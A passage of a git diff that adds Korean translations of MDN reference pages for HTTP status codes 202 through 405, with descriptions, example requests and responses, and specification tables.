+<p>이 상태 코드는는 비확약적, 즉 HTTP가 나중에 요청 처리 결과를 나타내는 비동기 응답을 보낼 방법이 없다는 것을 의미합니다. 이는 다른 프로세스나 서버가 요청을 처리하는 경우 또는 일괄 처리를 위한 것입니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox notranslate">202 Accepted</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "202 Accepted" , "6.3.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Accept")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/204/index.html b/files/ko/web/http/status/204/index.html
new file mode 100644
index 0000000000..fe1333f80e
--- /dev/null
+++ b/files/ko/web/http/status/204/index.html
@@ -0,0 +1,54 @@
+---
+title: 204 No Content
+slug: Web/HTTP/Status/204
+tags:
+ - HTTP
+ - Reference
+ - Status code
+ - Success
+translation_of: Web/HTTP/Status/204
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">HTTP <strong><code>204 No Content</code></strong> 성공 상태 응답 코드는 요청이 성공했으나 클라이언트가 현재 페이지에서 벗어나지 않아도 된다는 것을 나타냅니다.</span> 기본값에서 204 응답은 캐시에 저장할 수 있습니다. 캐시에서 가져온 응답인 경우 {{HTTPHeader("ETag")}} 헤더를 포함합니다.</p>
+
+<p>흔히 <code>204</code>를 반환하는 경우는 {{HTTPMethod("PUT")}} 요청에 대한 응답으로, 사용자에게 보여지는 페이지를 바꾸지 않고 리소스를 업데이트할 때 쓰입니다. 리소스를 생성한 경우엔 {{HTTPStatus("201")}} <code>Created</code>를 대신 반환합니다. 새롭게 업데이트한 페이지를 보여줘야 할 경우 {{HTTPStatus("200")}}을 사용해야 합니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">204 No Content</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "204 No Content" , "6.3.5")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.204")}}</p>
+
+<h2 id="호환성_참고사항">호환성 참고사항</h2>
+
+<ul>
+ <li><code>204 No Content</code>는 본문 없는 응답을 위한 상태 코드이지만, 서버에서 잘못되게 본문을 포함한 응답을 전달하는 경우가 존재할 수 있습니다. HTTP는 이런 경우를 사용자 에이전트 자의적으로, 서로 다르게 처리하는 것을 허용하고 있습니다. <a href="https://github.com/httpwg/http-core/issues/26">이에 대한 토론은 여기서 확인할 수 있습니다.</a> 보통 지속 연결에서 볼 수 있는 문제로, 잘못 포함된 본문이 이후 요청에 대한 별도의 응답을 담고 있을 수 있습니다.<br>
+ <br>
+ Apple Safari는 잘못 포함된 모든 데이터를 거부합니다. Google Chrome과 Microsoft Edge는 잘못된 데이터의 최대 4바이트를 검사한 후, 유효한 별도의 요청을 찾지 못한 경우 폐기합니다. Firefox는 최대 1킬로바이트를 검사합니다.</li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/Methods">HTTP 요청 메서드</a></li>
+</ul>
diff --git a/files/ko/web/http/status/205/index.html b/files/ko/web/http/status/205/index.html
new file mode 100644
index 0000000000..0e846f71e0
--- /dev/null
+++ b/files/ko/web/http/status/205/index.html
@@ -0,0 +1,39 @@
+---
+title: 205 Reset Content
+slug: Web/HTTP/Status/205
+translation_of: Web/HTTP/Status/205
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP의 <strong><code>205 Reset Content</code></strong> 응답상태는 form의 내용을 지우거나 캔버스 상태를 재설정하거나 UI를 새로 고치려면 client의 문서뷰를 새로고침하라고 알려준다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">205 Reset Content</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "205 Reset Content" , "6.3.6")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<ul>
+ <li>Browser behavior differs if this response erroneously includes a body on persistent connections See <a href="/en-US/docs/Web/HTTP/Status/204">204 No Content</a> for more detail.</li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPStatus(204)}} No Content</li>
+</ul>
diff --git a/files/ko/web/http/status/206/index.html b/files/ko/web/http/status/206/index.html
new file mode 100644
index 0000000000..78bdce43ae
--- /dev/null
+++ b/files/ko/web/http/status/206/index.html
@@ -0,0 +1,85 @@
+---
+title: 206 Partial Content
+slug: Web/HTTP/Status/206
+tags:
+ - HTTP
+ - HTTP Status
+ - Range Requests
+ - Success
+ - 성공
+translation_of: Web/HTTP/Status/206
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <strong><code>206 Partial Content</code></strong>는 {{HTTPHeader("Range")}} 헤더에 기술된 데이터 범위에 대한 요청이 성공적으로 응답되어 바디에 해당되는 데이터를 담고 있다는 것을 알려줍니다.</p>
+
+<p>만약 단일 범위 요청을 한 경우에는 응답에 포함된 데이터의 타입은 {{HTTPHeader("Content-Type")}}이며, {{HTTPHeader("Content-Range")}}가 제공될 것입니다.</p>
+
+<p>만약 다중 범위 요청에 대한 응답이라면, {{HTTPHeader("Content-Type")}}는 <code>multipart/byteranges</code>로 되며 분할된 데이터의 응답은 {{HTTPHeader("Content-Range")}} 와 {{HTTPHeader("Content-Type")}}로 각각의 범위를 기술합니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">206 Partial Content</pre>
+
+<h2 id="예제">예제</h2>
+
+<p>응답이 단일 범위를 가지고 있는 경우:</p>
+
+<pre class="newpage">HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Range: bytes 21010-47021/47022
+Content-Length: 26012
+Content-Type: image/gif
+
+... 26012 bytes of partial image data ...</pre>
+
+<p>응답이 여러 범위를 가지고 있는 경우:</p>
+
+<pre class="newpage">HTTP/1.1 206 Partial Content
+Date: Wed, 15 Nov 2015 06:25:24 GMT
+Last-Modified: Wed, 15 Nov 2015 04:58:08 GMT
+Content-Length: 1741
+Content-Type: multipart/byteranges; boundary=String_separator
+
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 234-639/8000
+
+...the first range...
+--String_separator
+Content-Type: application/pdf
+Content-Range: bytes 4590-7999/8000
+
+...the second range
+--String_separator--</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7233", "206 Partial Content" , "4.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Range Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.206")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Range")}}</li>
+ <li>{{HTTPHeader("Range")}}</li>
+ <li>{{HTTPHeader("Content-Range")}}</li>
+ <li>{{HTTPHeader("Content-Type")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/301/index.html b/files/ko/web/http/status/301/index.html
new file mode 100644
index 0000000000..8f930ff981
--- /dev/null
+++ b/files/ko/web/http/status/301/index.html
@@ -0,0 +1,54 @@
+---
+title: 301 Moved Permanently
+slug: Web/HTTP/Status/301
+translation_of: Web/HTTP/Status/301
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>301 Moved Permanently</strong></code> 리다이렉트 상태 응답 코드는 요청한 리소스가 {{HTTPHeader("Location")}} 헤더에 주어진 URL로 완전히 옮겨졌다는 것을 나타낸다. 브라우저는 이 페이지로 리다이렉트하고, 검색 엔진은 해당 리소스로 연결되는 링크를 갱신한다[검색엔진 최적화의 관점에서는 '원 콘텐츠가 새로운 URL로 옮겨졌다'(the link-juice is sent to the new URL)고 한다].</p>
+
+<p>명세에서는 리다이렉트를 수행할 때 메소드(와 응답 본문)이 바뀌어서는 안 된다고 명시하고 있지만, 모든 유저 에이전트가 이를 따르는 것은 아니며 이러한 잘못된 소프트웨어는 아직도 찾아볼 수 있다. 그러므로 <code>301</code> 코드는 {{HTTPMethod("GET")}}과 {{HTTPMethod("HEAD")}} 메소드의 응답으로만 사용하고, {{HTTPMethod("POST")}} 메소드에 대해서는 메소드 변경이 명시적으로 금지된 {{HTTPStatus("308")}} <code>Permanent Redirect</code>를 사용하는 것이 바람직하다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">301 Moved Permanently</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="클라이언트_요청">클라이언트 요청</h3>
+
+<pre>GET /index.php HTTP/1.1
+Host: www.example.org</pre>
+
+<h3 id="서버_응답">서버 응답</h3>
+
+<pre>HTTP/1.1 301 Moved Permanently
+Location: http://www.example.org/index.asp</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "301 Redirect Permanently" , "6.4.2")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 표는 구조적인 데이터로부터 생성되었습니다. 데이터에 기여하고자 하시면 <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>를 참조하셔서 pull request를 보내주시기 바랍니다.</p>
+
+<p>{{Compat("http.status.301")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPStatus("308")}} <code>Permanent Redirect</code></li>
+ <li>{{HTTPStatus("302")}} <code>Found</code>, 임시 리다이렉트</li>
+</ul>
diff --git a/files/ko/web/http/status/302/index.html b/files/ko/web/http/status/302/index.html
new file mode 100644
index 0000000000..b7b5a41402
--- /dev/null
+++ b/files/ko/web/http/status/302/index.html
@@ -0,0 +1,54 @@
+---
+title: 302 Found
+slug: Web/HTTP/Status/302
+tags:
+ - HTTP
+ - HTTP 상태 코드
+ - 레퍼런스
+ - 리다이렉트
+translation_of: Web/HTTP/Status/302
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>하이퍼텍스트 전송 프로토콜 (HTTP)의 302 Found 리다이렉트 상태 응답 코드는 클라이언트가 요청한 리소스가 {{HTTPHeader("Location")}} 헤더에 주어진 URL에 일시적으로 이동되었음을 가리킨다. 브라우저는 사용자를 이 URL의 페이지로 리다이렉트시키지만 검색 엔진은 그 리소스가 일시적으로 이동되었다고 해서 그에 대한 링크를 갱신하지는 않는다 ('SEO 관점' 에서 말하자면, 링크 주스(Link Juice)가 새로운 URL로 보내지지는 않는다).</p>
+
+<div>명세는 리다이렉션이 수행되었을 때 메서드 (그리고 몸체) 가 변경되어서는 안된다고 명시했지만, 모든 사용자 에이전트들이 이를 따르는 것은 아니다 - 이러한 종류의 버그가 있는 소프트웨어를 쉽게 찾아볼 수도 있다. 따라서, 리다이렉트할 때에도 메서드 변경이 되지 않는 {{HTTPStatus("307", "307 Temporary Redirect")}} 을 대신 사용하고고 {{HTTPMethod("GET")}} 또는 {{HTTPMethod("HEAD")}} 요청에 대한 응답으로는 <code>302</code> 코드를 설정하는 것이 권장된다.</div>
+
+<div></div>
+
+<div>메서드가 {{HTTPMethod("GET")}} 으로 변경되도록 하고 싶은 경우에는, {{HTTPStatus("303", "303 See Other")}} 를 대신 사용하라. 이 응답 코드는 {{HTTPMethod("PUT")}} 을 통해 리소스를 업로드하고 나서 업로드된 리소스 대신 '성공적으로 XYZ'를 업로드했습니다' 와 같은 메시지를 보여주는 응답을 할 때 유용하다.</div>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">302 Found</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("7231", "302 Found" , "6.4.3")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("http.status.302")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{HTTPStatus("307", "307 Temporary Redirect")}}, the equivalent of this status code where the method used never changes.</li>
+ <li>{{HTTPStatus("303", "303 See Other")}}, a temporary redirect that changes the method used to {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("301", "301 Moved Permanently")}}, the permanent redirect.</li>
+</ul>
diff --git a/files/ko/web/http/status/304/index.html b/files/ko/web/http/status/304/index.html
new file mode 100644
index 0000000000..9c7f8308b1
--- /dev/null
+++ b/files/ko/web/http/status/304/index.html
@@ -0,0 +1,63 @@
+---
+title: 304 Not Modified
+slug: Web/HTTP/Status/304
+tags:
+ - HTTP
+ - Redirection
+ - Reference
+ - Status code
+ - contents verification
+translation_of: Web/HTTP/Status/304
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>
+<div class="edit_area___2iv-G" id="targetEditArea">
+<div class="edit_box___1KtZ3 active___3VPGL font_step2___3vt9-" id="txtTarget"><span>클라이언트 리디렉션 응답 코드 </span><code><strong>304 Not Modified</strong></code><span>는 요청된 리소스를 재전송할 필요가 없음을 나타낸다. 캐시된 자원으로의 암묵적인 리디렉션이다. 이 는 </span>{{HTTPMethod("GET")}}<span>나 </span>{{HTTPMethod("HEAD")}}<span> 요청처럼 요청 방법이 </span> {{glossary("안전")}}<span>한 경우 또는 요청이 조건부로 </span>{{HTTPHeader("If-None-Match")}}<span> 또는 </span>{{HTTPHeader("If-Modified-Since")}}<span> 헤더를 사용할 때 응답 된다.</span><br>
+<br>
+이에 상응하는 {{HTTPStatus("200")}} <code>OK</code> 응답에는 {{HTTPHeader("Cache-Control")}}, {{HTTPHeader("Content-Location")}}, {{HTTPHeader("Date")}}, {{HTTPHeader("ETag")}}, {{HTTPHeader("Expires")}}, 그리고 {{HTTPHeader("Vary")}} 가 포함되어 있었을 것이다.<br>
+ </div>
+</div>
+</div>
+
+<div class="note">
+<p><a href="/en-US/docs/Tools/Network_Monitor">브라우저의 개발자도구 네트워크 패널</a>은 304 응답으로 이어지는 많은 요청을 생성하며, 로컬 캐시로 액세스 하는 것을 개발자에게 보여준다.</p>
+</div>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">304 Not Modified</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7232", "304 Not Modified" , "4.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Conditional Requests</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.304")}}</p>
+
+<h2 id="호환성_노트">호환성 노트</h2>
+
+<ul>
+ <li><span class="tlid-translation translation" lang="ko"><span title="">이 응답에 영구 연결의 본문이 잘못 포함되어 있으면 브라우저 동작이 다릅니다. 자세한 내용은 </span></span><a href="/en-US/docs/Web/HTTP/Status/204">204 No Content</a><span class="tlid-translation translation" lang="ko"><span title="">을(를) 참조하십시오.</span></span></li>
+</ul>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("If-Modified-Since")}}</li>
+ <li>{{HTTPHeader("If-None-Match")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/307/index.html b/files/ko/web/http/status/307/index.html
new file mode 100644
index 0000000000..085b24b02c
--- /dev/null
+++ b/files/ko/web/http/status/307/index.html
@@ -0,0 +1,48 @@
+---
+title: 307 Temporary Redirect
+slug: Web/HTTP/Status/307
+translation_of: Web/HTTP/Status/307
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>{{Glossary("HTTP")}} <code><strong>307 Temporary Redirect</strong></code> 리다이렉트 상태 응답 코드는 요청한 리소스가 {{HTTPHeader("Location")}} 헤더에 주어진 URL 로 임시로 옮겨졌다는 것을 나타냅니다.</p>
+
+<p>원래 요청한 메소드와 Body 를 재사용하여 요청을 리다이렉트 합니다. 여기서 메소드를 {{HTTPMethod("GET")}}으로 바꾸기 위해서 {{HTTPStatus("303", "303 See Other")}}를 사용하시면 됩니다. 이것은 {{HTTPMethod("PUT")}}요청에 업로드된 리소스가 아닌 "You successfully uploaded XYZ"와 같은 확인메시지 응답을 제공 하는데에 유용합니다.</p>
+
+<p><code>307</code>과 {{HTTPStatus("302")}}가 유일하게 다른점은 <code>307</code>은 Method 와 Body 를 변경하지 않고 리다이렉트 요청을 하도록 보장합니다. <code>302</code>응답으로 인하여 일부 오래된 클라이언트들은 메소드를 {{HTTPMethod("GET")}}으로 틀리게 변경하였습니다. GET이 아닌 다른 메소드에 <code>302</code>동작은 웹에서 예상되지 않지만 <code>307</code> 동작은 예상할수 있습니다. GET 요청에 대해서는 동일하게 동작 합니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox notranslate">307 Temporary Redirect
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">제목</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("7231", "307 Temporary Redirect" , "6.4.7")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("http.status.307")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPStatus("302", "302 Found")}}, the equivalent of this status code, but that may change the method used when it is not a {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("303", "303 See Other")}}, a temporary redirect that changes the method used to {{HTTPMethod("GET")}}.</li>
+ <li>{{HTTPStatus("301", "301 Moved Permanently")}}, a permanent redirect</li>
+</ul>
diff --git a/files/ko/web/http/status/400/index.html b/files/ko/web/http/status/400/index.html
new file mode 100644
index 0000000000..908113b5ae
--- /dev/null
+++ b/files/ko/web/http/status/400/index.html
@@ -0,0 +1,36 @@
+---
+title: 400 Bad Request
+slug: Web/HTTP/Status/400
+tags:
+ - HTTP 상태 코드
+ - 상태 코드
+translation_of: Web/HTTP/Status/400
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HyperText Transfer Protocol (HTTP) <code><strong>400 Bad Request</strong></code> 응답 상태 코드는 서버가 클라이언트 오류(예: 잘못된 요청 구문, 유효하지 않은 요청 메시지 프레이밍, 또는 변조된 요청 라우팅) 를 감지해 요청을 처리할 수 없거나, 하지 않는다는 것을 의미합니다.</p>
+
+<div class="warning">
+<p>클라이언트는 요청을 수정하지 않고 동일한 형태로 다시 보내서는 안됩니다.</p>
+</div>
+
+<h2 id="Status">Status</h2>
+
+<pre class="syntaxbox">400 Bad Request </pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{RFC("7231", "400 Bad Request" , "6.5.1")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/http/status/401/index.html b/files/ko/web/http/status/401/index.html
new file mode 100644
index 0000000000..9a36c58228
--- /dev/null
+++ b/files/ko/web/http/status/401/index.html
@@ -0,0 +1,60 @@
+---
+title: 401 Unauthorized
+slug: Web/HTTP/Status/401
+tags:
+ - Client error
+ - HTTP
+ - Reference
+ - Status code
+ - 클라이언트 오류
+translation_of: Web/HTTP/Status/401
+---
+<div>{{HTTPSidebar}}</div>
+
+<div><strong><code>401 Unauthorized</code></strong> 클라이언트 오류 상태 응답 코드는 해당 리소스에 유효한 인증 자격 증명이 없기 때문에 요청이 적용되지 않았음을 나타냅니다.<br>
+<br>
+이 상태는 {{HTTPHeader("WWW-Authenticate")}} 헤더와 함께 전송되며, 이 헤더는 올바르게 인증하는 방법에 대한 정보를 포함하고 있습니다.<br>
+<br>
+이 상태는 {{HTTPStatus("403")}}과 비슷하지만, <code>401 Unauthorized</code>의 경우에는 인증이 가능합니다.</div>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">401 Unauthorized</pre>
+
+<h2 id="응답_예시">응답 예시</h2>
+
+<pre>HTTP/1.1 401 Unauthorized
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+WWW-Authenticate: Basic realm="Access to staging site"</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7235", "401 Unauthorized" , "3.1")}}</td>
+ <td>HTTP/1.1: Authentication</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.401")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTTP/Authentication">HTTP 인증</a></li>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/403/index.html b/files/ko/web/http/status/403/index.html
new file mode 100644
index 0000000000..012e13e3b7
--- /dev/null
+++ b/files/ko/web/http/status/403/index.html
@@ -0,0 +1,49 @@
+---
+title: 403 Forbidden
+slug: Web/HTTP/Status/403
+tags:
+ - 상태 코드
+translation_of: Web/HTTP/Status/403
+---
+<div>{{HTTPSidebar}}</div>
+
+<div>HTTP <code><strong>403 Forbidden</strong></code> 클라이언트 오류 상태 응답 코드는 서버에 요청이 전달되었지만, 권한 때문에 거절되었다는 것을 의미합니다.<br>
+<br>
+이 상태는 {{HTTPStatus("401")}}과 비슷하지만, 로그인 로직(틀린 비밀번호로 로그인 행위)처럼 반응하여 재인증(re-authenticating)을 하더라도 지속적으로 접속을 거절합니다.</div>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox notranslate">403 Forbidden</pre>
+
+<h2 id="응답_예시">응답 예시</h2>
+
+<pre class="notranslate">HTTP/1.1 403 Forbidden
+Date: Wed, 21 Oct 2015 07:28:00 GMT
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "403 Forbidden" , "6.5.3")}}</td>
+ <td>HTTP/1.1: Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">이 페이지의 호환성 표는 구조화된 데이터에서 생성됩니다. 만약 이 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 를 방문하고 full-request를 보내주세요.</p>
+
+<p>{{Compat("http/status", "403")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{HTTPStatus("401")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/404/index.html b/files/ko/web/http/status/404/index.html
new file mode 100644
index 0000000000..0e1a077cc9
--- /dev/null
+++ b/files/ko/web/http/status/404/index.html
@@ -0,0 +1,59 @@
+---
+title: 404 Not Found
+slug: Web/HTTP/Status/404
+tags:
+ - 브라우저
+ - 상태 코드
+translation_of: Web/HTTP/Status/404
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP <code><strong>404</strong></code><strong><code> Not Found</code></strong> 클라이언트 오류 응답 코드는 서버가 요청받은 리소스를 찾을 수 없다는 것을 의미합니다. 404 페이지를 띄우는 링크는 대체로 브로큰 링크(broken link) 또는 데드 링크(dead link)라고 부르며, <a href="https://en.wikipedia.org/wiki/Link_rot">link rot</a> 대상일 수도 있습니다.</p>
+
+<p>404 상태 코드는 리소스가 일시적, 또는 영구적으로 사라졌다는 것을 의미하지는 않습니다. 리소스가 영구적히 삭제되었다면 404 상태 코드 대신 {{HTTPStatus(410)}} (Gone) 상태 코드가 쓰여야 합니다.</p>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">404 Not Found</pre>
+
+<h2 id="커스텀_에러_페이지">커스텀 에러 페이지</h2>
+
+<p>많은 웹사이트들이 사용자에게 더 많은 도움을 주기 위해 404 페이지의 모습을 커스터마이징합니다. 아파치 서버는 <code>.htaccess</code> 파일에 아래와 같은 코드를 작성해 설정할 수 있습니다.</p>
+
+<pre class="brush: bash">ErrorDocument 404 /notfound.html</pre>
+
+<p>커스텀 404 페이지의 예시로는 <a href="https://developer.mozilla.org/en-US/404">MDN's 404 page</a>을 참고해보세요.</p>
+
+<div class="note">
+<p>적당한 커스텀 디자인은 좋습니다. 404 페이지를 재밌게 만들되, 사용자를 혼란스럽게 하지는 마세요.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Title</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "404 Not Found" , "6.5.4")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.status.404")}}</p>
+
+<h2 id="함께_참고할_내용">함께 참고할 내용</h2>
+
+<ul>
+ <li>{{HTTPStatus(410)}}</li>
+ <li>
+ <p>{{interwiki("wikipedia", "HTTP_404", "Wikipedia: HTTP 404")}}</p>
+ </li>
+</ul>
diff --git a/files/ko/web/http/status/405/index.html b/files/ko/web/http/status/405/index.html
new file mode 100644
index 0000000000..4c7d933bd9
--- /dev/null
+++ b/files/ko/web/http/status/405/index.html
@@ -0,0 +1,37 @@
+---
+title: 405 Method Not Allowed
+slug: Web/HTTP/Status/405
+translation_of: Web/HTTP/Status/405
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>하이퍼텍스트 전송 프로토콜(HTTP)의 <code><strong>405 Method Not Allowed</strong></code> 응답 상태 코드는 요청 방법이 서버에 의해 알려졌으나, 사용 불가능한 상태임을 가리킵니다.</p>
+
+<div class="note">
+<p><strong>유의: 두 가지 필수 메소드인 </strong>{{HTTPMethod("GET")}}와 {{HTTPMethod("HEAD")}}는 사용 불가능 하여서는 안 되며, 이러한 오류 타입을 반환해서는 안 됩니다.</p>
+</div>
+
+<h2 id="상태">상태</h2>
+
+<pre class="syntaxbox">405 Method Not Allowed</pre>
+
+<h2 id="기술_사양">기술 사양</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">기술 사양</th>
+ <th scope="col">제목</th>
+ </tr>
+ <tr>
+ <td>{{RFC("7231", "405 Method Not Allowed" , "6.5.5")}}</td>
+ <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{HTTPHeader("Allow")}}</li>
+</ul>
diff --git a/files/ko/web/http/status/408/index.html b/files/ko/web/http/status/408/index.html
new file mode 100644
index 0000000000..03e357a488
